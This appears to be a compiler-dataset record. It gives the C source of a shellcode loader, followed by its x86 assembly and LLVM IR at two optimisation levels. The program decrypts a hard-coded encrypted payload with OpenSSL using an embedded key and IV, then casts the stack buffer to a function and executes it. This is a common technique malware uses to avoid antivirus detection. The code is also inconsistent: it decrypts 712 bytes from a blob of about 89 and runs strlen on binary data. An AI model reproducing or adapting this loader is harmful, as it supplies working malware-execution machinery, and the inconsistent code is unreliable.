#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ ERR_free_strings();
int /*<<< orphan*/ ERR_load_crypto_strings();
int /*<<< orphan*/ EVP_cleanup();
int /*<<< orphan*/ OPENSSL_config(int /*<<< orphan*/ *);
int /*<<< orphan*/ OpenSSL_add_all_algorithms();
int decrypt(unsigned char *, int, unsigned char *, unsigned char *,
            unsigned char *);
int /*<<< orphan*/ print_shellcode(unsigned char *);
int /*<<< orphan*/ printf(char *, ...);
int strlen(unsigned char *);
int main(int argc, char *argv[]) {
  unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbe"
                       "b47be5f7d424b1e9083e83b822ac7dbeb4";
  unsigned char *iv = "01123481321345514";
  unsigned char *encrypted_shellcode =
      "\xd1\x9d\x6f\x0f\x07\x68\xb8\x3a\x51\x72\x21\x30\x6a\x16\xe7\x2d"
      "\xc2\x39\x91\x45\x58\xdd\x54\xf6\xc1\x75\xb4\x1c\x59\x0a\xb4\xac"
      "\xff\x24\x3f\xb1\xfc\xfe\xd3\xe5\xd4\x55\xbb\x55\x4c\xcc\xf5\xeb"
      "\xac\x93\xe6\x5d\xe6\xf1\xfa\x1a\x1d\x6a\xf5\x9d\xcf\x45\x77\x2a"
      "\x6e\xd8\x0e\x19\x88\xf0\x52\x9c\xe8\x29\xa9\xcd\xe1\xdd\x9f\x96"
      "\xd1\xd0\xdc\x99\x70\x96\x44\x4f\xd8";
  unsigned char decrypted_shellcode[712];
  int decrypted_len;
  ERR_load_crypto_strings();
  OpenSSL_add_all_algorithms();
  OPENSSL_config(NULL);
  decrypted_len =
      decrypt(encrypted_shellcode, 712, key, iv, decrypted_shellcode);
  decrypted_shellcode[decrypted_len] = '\0';
  printf("Decrypted text is:\n");
  print_shellcode(decrypted_shellcode);
  printf("Executing shellcode...\n");
  printf("Shellcode Length:  %d\n", strlen(decrypted_shellcode));
  int (*ret)() = (int (*)())decrypted_shellcode;
  ret();
  EVP_cleanup();
  ERR_free_strings();
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x300,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xe50(%rip),%rax
mov    %rax,-0x18(%rbp)
lea    0xe9f(%rip),%rax
mov    %rax,-0x20(%rbp)
lea    0xea6(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    $0x0,%al
call   10b0 <ERR_load_crypto_strings@plt>
mov    $0x0,%al
call   1080 <OpenSSL_add_all_algorithms@plt>
xor    %eax,%eax
mov    %eax,%edi
call   1040 <OPENSSL_config@plt>
mov    -0x28(%rbp),%rdi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
lea    -0x2f0(%rbp),%r8
mov    $0x2c8,%esi
call   1030 <decrypt@plt>
mov    %eax,-0x2f4(%rbp)
movslq -0x2f4(%rbp),%rax
movb   $0x0,-0x2f0(%rbp,%rax,1)
lea    0xeac(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    -0x2f0(%rbp),%rdi
call   1070 <print_shellcode@plt>
lea    0xea6(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    -0x2f0(%rbp),%rdi
call   1050 <strlen@plt>
mov    %eax,%esi
lea    0xea2(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    -0x2f0(%rbp),%rax
mov    %rax,-0x300(%rbp)
mov    $0x0,%al
call   *-0x300(%rbp)
mov    $0x0,%al
call   1090 <EVP_cleanup@plt>
mov    $0x0,%al
call   10a0 <ERR_free_strings@plt>
xor    %eax,%eax
add    $0x300,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x2d0,%rsp
xor    %eax,%eax
call   10c0 <ERR_load_crypto_strings@plt>
xor    %eax,%eax
call   1090 <OpenSSL_add_all_algorithms@plt>
xor    %edi,%edi
call   1040 <OPENSSL_config@plt>
lea    0xea8(%rip),%rdi
lea    0xe35(%rip),%rdx
lea    0xe88(%rip),%rcx
mov    %rsp,%rbx
mov    $0x2c8,%esi
mov    %rbx,%r8
call   1030 <decrypt@plt>
cltq
movb   $0x0,(%rsp,%rax,1)
lea    0xeee(%rip),%rdi
call   1050 <puts@plt>
mov    %rbx,%rdi
call   1080 <print_shellcode@plt>
lea    0xeed(%rip),%rdi
call   1050 <puts@plt>
mov    %rbx,%rdi
call   1060 <strlen@plt>
lea    0xeaf(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1070 <printf@plt>
xor    %eax,%eax
call   *%rbx
xor    %eax,%eax
call   10a0 <EVP_cleanup@plt>
xor    %eax,%eax
call   10b0 <ERR_free_strings@plt>
xor    %eax,%eax
add    $0x2d0,%rsp
pop    %rbx
ret

LLVM IR (-O0):
@.str = [90 x i8] c"424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb4\00"
@.str.1 = [18 x i8] c"01123481321345514\00"
@.str.2 = [90 x i8] c"\D1\9Do\0F\07h\B8:Qr!0j\16\E7-\C29\91EX\DDT\F6\C1u\B4\1CY\0A\B4\AC\FF$?\B1\FC\FE\D3\E5\D4U\BBUL\CC\F5\EB\AC\93\E6]\E6\F1\FA\1A\1Dj\F5\9D\CFEw*n\D8\0E\19\88\F0R\9C\E8)\A9\CD\E1\DD\9F\96\D1\D0\DC\99p\96DO\D8\00"
@.str.3 = [20 x i8] c"Decrypted text is:\0A\00"
@.str.4 = [24 x i8] c"Executing shellcode...\0A\00"
@.str.5 = [23 x i8] c"Shellcode Length: %d\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca [712 x i8]
%10 = alloca i32
%11 = alloca i32 (...)*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str, i64 0, i64 0), i8** %6
store i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8** %7
store i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0), i8** %8
%12 = call i32 (...) @ERR_load_crypto_strings()
%13 = call i32 (...) @OpenSSL_add_all_algorithms()
%14 = call i32 @OPENSSL_config(i32* null)
%15 = load i8*, i8** %8
%16 = load i8*, i8** %6
%17 = load i8*, i8** %7
%18 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%19 = call i32 @decrypt(i8* %15, i32 712, i8* %16, i8* %17, i8* %18)
store i32 %19, i32* %10
%20 = load i32, i32* %10
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 %21
store i8 0, i8* %22
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.3, i64 0, i64 0))
%24 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%25 = call i32 @print_shellcode(i8* %24)
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.4, i64 0, i64 0))
%27 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%28 = call i32 @strlen(i8* %27)
%29 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.5, i64 0, i64 0), i32 %28)
%30 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%31 = bitcast i8* %30 to i32 (...)*
store i32 (...)* %31, i32 (...)** %11
%32 = load i32 (...)*, i32 (...)** %11
%33 = call i32 (...) %32()
%34 = call i32 (...) @EVP_cleanup()
%35 = call i32 (...) @ERR_free_strings()
ret i32 0
}

LLVM IR (-O2):
@.str = [90 x i8] c"424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb4\00"
@.str.1 = [18 x i8] c"01123481321345514\00"
@.str.2 = [90 x i8] c"\D1\9Do\0F\07h\B8:Qr!0j\16\E7-\C29\91EX\DDT\F6\C1u\B4\1CY\0A\B4\AC\FF$?\B1\FC\FE\D3\E5\D4U\BBUL\CC\F5\EB\AC\93\E6]\E6\F1\FA\1A\1Dj\F5\9D\CFEw*n\D8\0E\19\88\F0R\9C\E8)\A9\CD\E1\DD\9F\96\D1\D0\DC\99p\96DO\D8\00"
@.str.5 = [23 x i8] c"Shellcode Length: %d\0A\00"
@str = [19 x i8] c"Decrypted text is:\00"
@str.6 = [23 x i8] c"Executing shellcode...\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [712 x i8]
%4 = getelementptr inbounds [712 x i8], [712 x i8]* %3, i64 0, i64 0
%5 = tail call i32 (...) @ERR_load_crypto_strings()
%6 = tail call i32 (...) @OpenSSL_add_all_algorithms()
%7 = tail call i32 @OPENSSL_config(i32* null)
%8 = call i32 @decrypt(i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0), i32 712, i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %4)
%9 = sext i32 %8 to i64
%10 = getelementptr inbounds [712 x i8], [712 x i8]* %3, i64 0, i64 %9
store i8 0, i8* %10
%11 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str, i64 0, i64 0))
%12 = call i32 @print_shellcode(i8* %4)
%13 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.6, i64 0, i64 0))
%14 = call i32 @strlen(i8* %4)
%15 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @.str.5, i64 0, i64 0), i32 %14)
%16 = bitcast [712 x i8]* %3 to i32 (...)*
%17 = call i32 (...) %16()
%18 = call i32 (...) @EVP_cleanup()
%19 = call i32 (...) @ERR_free_strings()
ret i32 0
}